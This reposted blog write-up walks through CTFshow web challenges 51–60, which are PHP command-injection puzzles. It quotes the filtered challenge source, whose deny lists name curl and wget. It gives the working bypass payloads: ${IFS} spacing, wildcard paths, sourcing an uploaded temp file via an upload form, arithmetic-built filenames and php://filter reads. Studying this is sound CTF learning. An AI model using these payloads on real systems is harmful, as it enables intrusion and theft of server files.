《CTFshow-Web入门》06. Web 51~60

news2024/11/14 19:51:53

Web 51~60

  • web51
    • 题解
  • web52
    • 知识点
    • 题解
  • web53
    • 知识点
    • 题解
  • web54
    • 知识点
    • 题解
  • web55
    • 知识点
    • 题解
  • web56
    • 知识点
    • 题解
  • web57
    • 知识点
    • 题解
  • web58
    • 知识点
    • 题解
  • web59
    • 题解
  • web60
    • 题解


ctf - web入门

web51

题解

相比上一题多过滤了 tac 命令。那换一个即可。

在这里插入图片描述

题解:

url + ?c=nl<fl''ag.php||

web52

知识点

linux适用空格绕过:
<<>、%20(space)、%09(tab)、$IFS$9${IFS}$IFS{cat,/etc/passwd}
%0a(回车)

题解

多过滤了 “ > ” 与 “ < ”。

在这里插入图片描述

用 ${IFS} 绕过。

url + ?c=nl${IFS}fla''g.php||

不过这里 flag 并未直接显示。

在这里插入图片描述

那就尝试扫一下根目录。

url + ?c=ls${IFS}/||

发现 flag 文件。

在这里插入图片描述

得手。

url + ?c=nl${IFS}/fla''g||

在这里插入图片描述

web53

知识点

PHP system() 函数:成功则返回命令输出的最后一行,失败则返回 false。

题解

所以这一题沿用之前 payload 即可。

在这里插入图片描述

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

解:

url + ?c=nl${IFS}fla''g.php

web54

知识点

Linux 的很多命令存放在 /bin/ 目录下,且可以通过绝对路径来使用,而且支持通配符。

cat 命令也可这样使用:/bin/?at

题解

在这里插入图片描述

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这题过滤了很多命令。而且不能用字符拼接。

|.*f.*l.*a.*g.*| 这种过滤就是字母不能按过滤的顺序出现

但了解原理之后也很简单。注意这题没有过滤通配符 “ ? ”。

方法一

url + ?c=/bin/?at${IFS}f???.php

在这里插入图片描述

方法二

此题没有过滤 vi 命令。

url + ?c=vi${IFS}f???.php

在这里插入图片描述

web55

知识点

  • x09 为 tab键。x26为 “ & ”。
  • Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
  • Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。
  • ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。

题解

在这里插入图片描述

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这一题将字母全部过滤了,没有过滤空格和通配符 “ ? ”。

方法一

由于未过滤数字,利用 /bin/ 目录下的 base64 进行通配符匹配。获得 flag.php 文件的 base64 编码。

url + ?c=/???/????64 ????.???

在这里插入图片描述

方法二

利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载。

bzip2 命令压缩后的文件以 “ .bz2 ” 为后缀

压缩文件:

url + ?c=/???/???/????2 ????.???

这时已将 flag.php 压缩为 flag.php.bz2。直接通过 url 访问下载。

url + flag.php.bz2

获得压缩文件解压即可:

在这里插入图片描述

方法三
无字母数字webshell

构造一个 post 请求并上传文件。由于没有过滤 “ . ”(点),所以通过执行文件中的 Linux 命令获取 flag。

先创建一个 html 文件,内容如下,url 换成相应网址即可:

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://dc1bfe3e-910b-4ad5-9130-db7f0cd7cca4.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

界面如下:

在这里插入图片描述

配置 burpsuit 代理后,随便上传一个文件后提交。

在这里插入图片描述

构造poc执行命令:

在 burp 拦截中,通过 GET 方式传递:
?c=.+/???/????????[@-[]

并在上传文件内容添加sh命令:
#!/bin/sh
pwd

在这里插入图片描述

再看一下当前目录有哪些文件:

#!/bin/sh
ls

在这里插入图片描述

直接读取:

#!/bin/sh
cat /var/www/html/flag.php

在这里插入图片描述

到手。

了解之后,这个方法其实并不难理解。知识 + 1。

web56

知识点

  • Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
  • Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。
  • ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。

题解

知道 web55 的第三种解法后,这题也就不难了。

在这里插入图片描述

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

数字字母全过滤了。“ . ” 没有过滤。

那就用上一题的方法:

构造 post 请求上传文件。

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://2cf3e5d1-4cba-41f5-bab0-af916511335b.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

配置 burp 抓包并传递参数与文件内容。

在 burp 拦截中,通过 GET 方式传递:
?c=.+/???/????????[@-[]

并在上传文件内容添加sh命令:
#!/bin/sh
ls

在这里插入图片描述

直接读取即可:

在这里插入图片描述

web57

知识点

Linux Shell 中 $(()) 的用法。相关信息

简单来说,$(()) 用来做数学运算。且 $(()) 的值为 0。

~$(()) 中代表按位取反,即 $((~$(()))) 就是 0 取反,即 -1。

$(($((~$(())))$((~$(()))))) 也就是 $((-1-1)) 为 -2。

题解

看题,过滤了 “ . ” 。得另寻他法。

根据提示知道 flag 在 36.php 中。且只用构造 36 即可。

在这里插入图片描述

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

那就使用 $(()) 运算来构造了。。

url + ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

在这里插入图片描述

大开眼界(物理)。

web58

知识点

php eval() 函数,把字符串作为 PHP 代码执行。

题解

注意这题使用的是 POST 请求。

在这里插入图片描述

可以使用 hackbar,比较方便。也可以使用 burpSuite 抓包后转换请求方法。
做题时 hackbar 抽风了,所以这里使用 burp。

传递 c=system('ls');
发现 system() 函数被禁用了。

在这里插入图片描述

那就用其他函数。

c=show_source('flag.php');c=highlight_file("flag.php");

在这里插入图片描述

除此以外从其他师傅处了解到还可用伪协议

解法二

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

得到 flag 的 base64 编码。

web59

题解

题目与上一题没什么两样。

在这里插入图片描述

尝试了一下,使用 show_source() 函数得到了 flag。

c=show_source('flag.php');

在这里插入图片描述

当然伪协议也可。方法同 web58。

web60

与 web59 一样。没啥好说的了。

题解

在这里插入图片描述

方法

c=show_source('flag.php');

满堂唯有烛花红,杯且从容,歌且从容。

——《一剪梅 · 中秋无月》(宋)辛弃疾

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/452869.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

go/java/C++覆盖率工具原理汇总学习记录

go–goc goc采用的是插桩源码的形式&#xff0c;而不是待二进制执行时再去设置breakpoints。这就导致了当前go的测试覆盖率收集技术&#xff0c;一定是侵入式的&#xff0c;会修改目标程序源码。直接看案例 package mainimport "fmt"func main() {test2(3)fmt.Prin…

Vue项目基于driverjs实现新用户导航

引导页就是当用户第一次或者手动进行触发的时候&#xff0c;提示给用户当前系统的模块介绍&#xff0c;比如哪里是退出&#xff0c;哪里是菜单等等相应的操作。 无论是开发 APP 还是 web 应用&#xff0c;新手引导都是一个很常见的需求&#xff0c;一般在这2个方面需要新手引导…

Java阶段二Day07

Java阶段二Day07 文章目录 Java阶段二Day07V17UserControllerDispatcherServletControllerRequestMapping V18DispatcherServletHandleMapping V19BirdBootApplication 线程池线程的执行过程线程池API 数据库数据库的基本概念数据库管理系统中常见的概念 SQL分类DDL语言-数据定…

浅析流媒体技术的发展趋势及EasyCVR视频技术的应用

随着科技的不断发展&#xff0c;流媒体已经成为人们日常生活中必不可少的一部分。为了进一步提高流媒体的质量&#xff0c;未来的技术革新方向将集中在以下几个方面&#xff1a; 1&#xff09;提高视频编解码技术的质量和效率 随着高清视频的普及&#xff0c;人们对流媒体的质…

GD32F470 移植STM32F429工程 Keil调试笔记

keil版本&#xff1a;5.25 安装 GigaDevice.GD32F4xx_DFP.3.0.4.pack Keil.STM32F4xx_DFP.2.15.0.pack 一、GD32F470 与 STM32F429 切换编译 1、原项目为STM32F429 工程&#xff0c;切换到GD32F470 只需在 Options for Target"“对话框的Device菜单中选中“GD32F470II”…

Http协议—请求的构造

目录 一、通过 form表单 构造HTTP请求 1、form 发送 Get 请求 &#xff08;1&#xff09;form 的重要参数 &#xff08;2&#xff09;input 的重要参数 2、通过 form 构造 Post 请求 二、通过 ajax 构造 HTTP 请求 1、基于 jQuery 中的 ajax 构造 &#xff08;1&#x…

动态网站开发讲课笔记07:EL和JSTL

文章目录 零、本节学习目标一、EL&#xff08;一&#xff09;EL基本语法1、EL的概念2、EL的语法3、案例演示&#xff08;1&#xff09;用EL读取保存的信息&#xff08;2&#xff09;使用Java代码与EL获取信息的对比 4、EL基本语法的特点 &#xff08;二&#xff09;EL中的标识符…

从语言模型到ChatGPT,大模型训练全攻略

文&#xff5c;python 前言 你是否想过&#xff0c;为什么ChatGPT能够如此火爆呢&#xff1f;我认为这主要是因为ChatGPT提供了好玩、有用的对话式交互功能&#xff0c;能够为用户提供帮助&#xff0c;而不仅仅是依靠“大”模型的魅力。毕竟&#xff0c;GPT-3在2020年就已经推出…

RedHat yum没有已启用源的解决方法

一般安装的红帽系统&#xff0c;自带的yum在没有付费的情况下是无使用的&#xff0c;所以我们要进行换源。 1、环境准备 先检查以下我们的linux系统环境&#xff0c;看看是不是Redhat7的版本 &#xff0c;出现如下图所示的界面 cat /etc/redhat-release 检查系统中是否安…

科技云报道:重塑增长新动能,“数智融合”捷径该如何走?

科技云报道原创。 如果说&#xff0c;过去是数字化转型的试验阶段&#xff0c;实施的是开荒动土、选种育苗&#xff0c;那么当前要进行的是精耕细作、植树造林。 数字化转型已进入了由个别行业、个别场景的“点状应用”向各行各业全流程、全环节“整体渗透”的关键期。 云计算…

yolov5-7.0 训练自己的数据集之检测数据集

YOLOv5是一种单阶段目标检测算法&#xff0c;有很高的精度和速度&#xff0c;因为项目需求&#xff0c;需要利用yolov5-7.0训练自己的目标检测数据集。 假设&#xff0c;环境已经配置完成&#xff01; 1&#xff09;准备数据集 在D:\Graduation_Project_Coding\network_class…

QGIS中导入dwg文件并使用GetWKT插件获取绘制元素WKT字符串以及QuickWKT插件实现WKT显示在图层

场景 QGIS在Windows上下载安装与建立空间数据库连接&#xff1a; https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/124108040 在上面实现QGIS的安装之后&#xff0c;版本是3.26.3。 业务需求: 1、在dwg文件上绘制多边形区域&#xff0c;并获取绘制区域的wkt字…

如何在美国虚拟主机上安装WordPress?

如果你想在美国虚拟主机上搭建一个博客网站&#xff0c;那么WordPress是一个非常好的选择。本文将介绍如何在美国虚拟主机上安装WordPress&#xff0c;帮助你快速建立一个美观、高效的博客网站。 一、选择合适的虚拟主机服务商 在安装WordPress之前&#xff0c;你需要选择一个可…

[Netty] Netty自带的心跳机制 (十五)

文章目录 1.IdleStateHandler介绍2.IdleStateHandler源码解析3.IdleStateHandler总结 1.IdleStateHandler介绍 Netty服务端心跳机制: IdleStateHandler, 这个类可以对三种类型的心跳检测。 ChannelHandler.Sharable public class IdleHandler extends ChannelInboundHandlerA…

redis7详解

Redis基础 文章目录 一、Redis入门概述是什么&#xff1f;能干嘛&#xff1f;主流功能与应用优势 Redis7新特性 二、Redis安装配置Redis7安装步骤Redis7卸载步骤 三、Redis10大数据类型Redis 键(key)1、Redis 字符串&#xff08;String&#xff09;2、Reids列表&#xff08;Lis…

java版本电子招标采购系统源码—企业战略布局下的采购

​ 智慧寻源 多策略、多场景寻源&#xff0c;多种看板让寻源过程全程可监控&#xff0c;根据不同采购场景&#xff0c;采取不同寻源策略&#xff0c; 实现采购寻源线上化管控&#xff1b;同时支持公域和私域寻源。 询价比价 全程线上询比价&#xff0c;信息公开透明&#xff0…

谷歌云 | 内部 HTTP(S) 负载均衡器现在可以在全球范围内访问

【本文由Cloud Ace整理发布&#xff0c;Cloud Ace 是谷歌云全球战略合作伙伴&#xff0c;拥有 300 多名工程师&#xff0c;也是谷歌最高级别合作伙伴&#xff0c;多次获得 Google Cloud 合作伙伴奖。 作为谷歌托管服务商&#xff0c;我们提供谷歌云、谷歌地图、谷歌办公套件、谷…

店铺销售管理系统有哪些用?该如何选?

现在市场竞争越来越激烈&#xff0c;实体店想要吸引更多意向客户&#xff0c;快速提高销量&#xff0c;使用店铺管理系统来智能化管理店铺&#xff0c;已经成为不可或缺的手段。 店铺管理系统能够帮助实体店老板实现店铺销售和库存管理的自动化和集中化&#xff0c;提高门店的销…

Ceph入门到精通-podman 入门实战

目录 podman安装podman制作本地镜像podman(docker)命令回顾podman快速入门 一入编程深似海&#xff0c;从此节操是路人。 最近使用podman&#xff0c;就想着写一篇总结性的笔记&#xff0c;以备后续参考。就如同写代码&#xff0c;不写注释&#xff0c;过了一段时间可能会想这…

【Leetcode】572.另一棵树的子树

另一棵树的子树 题目思路代码 题目 思路 这道题目主要用到判断两个二叉树是否相同 对root为根节点的树进行递归遍历判断 是否存在一颗子树和以subRoot为根节点的树 代码 class Solution {public boolean isSubtree(TreeNode root, TreeNode subRoot) {if(root null){return…